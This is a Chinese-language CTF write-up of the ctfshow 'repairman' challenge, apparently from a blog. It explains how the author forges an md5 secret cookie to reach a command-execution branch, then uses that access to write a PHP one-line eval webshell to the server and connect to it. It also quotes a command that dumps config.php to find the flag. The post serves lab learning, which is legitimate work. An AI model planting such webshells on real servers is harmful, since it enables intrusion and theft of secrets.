ctfshow repaireman 解题流程与思考

  打开页面,几秒后会跳转到这个页面。先检查源码,没有隐藏链接或提示。

  然后尝试用dirsearch进行扫描。

没有任何隐藏目录。

这时注意到

它说我们的'mode'是'guest'。

 而跳转的页面正好有mode参数,就猜测 改变mode应该能进入其他页面。

 将mode=0,一次就尝试成功,看到页面源码。

我对php不太了解,选择用文心一言分析了源代码,大致了解了意思。

switch ($secret){
            case md5('admin'.$config['secret']):
                echo 999;
                cmd($_POST['cmd']);
            case md5('test'.$config['secret']):
                echo 666;
                $cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
                cmd($cmd);
            default:
                echo "hello,the repairman!";
                highlight_file(__FILE__);
        }

   这是代码的核心板块。

switch第二个条件会对cmd进行过滤,所有我们应满足第一个条件。

通过阅读,发现,就是让request中的cookie的secret的值等于md5('admin'.$config['secret']).

所以我根据源码编写

<?php $config['secret'] = Array();
      echo md5('admin'.$config['secret']); ?>

然后放到线上的php环境中运行,成功得到结果。

然后用burpsuite抓包,并修改参数。

要注意的是exec()好像只能执行linux命令行代码,不能直接执行php代码,我在这研究了好久为什么我的php代码没被执行。

echo '<?php @eval($_POST['attack']); ?>' > 1.php

我选择把cmd参数设置为这个,将一句话木马写入1.php文件,注意,后缀不能是txt。否则蚁剑不能连接。最后发包,然后用蚁剑连接即可,在config.php中找到flag。

---------------------------------------------------------------------------------------------------------------------------------

我在其他wp中发现他们cmd的参数为

cat config.php > 1.txt

询问一些大佬后得知因为config.php为配置文件,所以直接猜测flag在其中。

至于其他wp提到的parse_url()的覆盖问题我不太了解也没考虑到。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值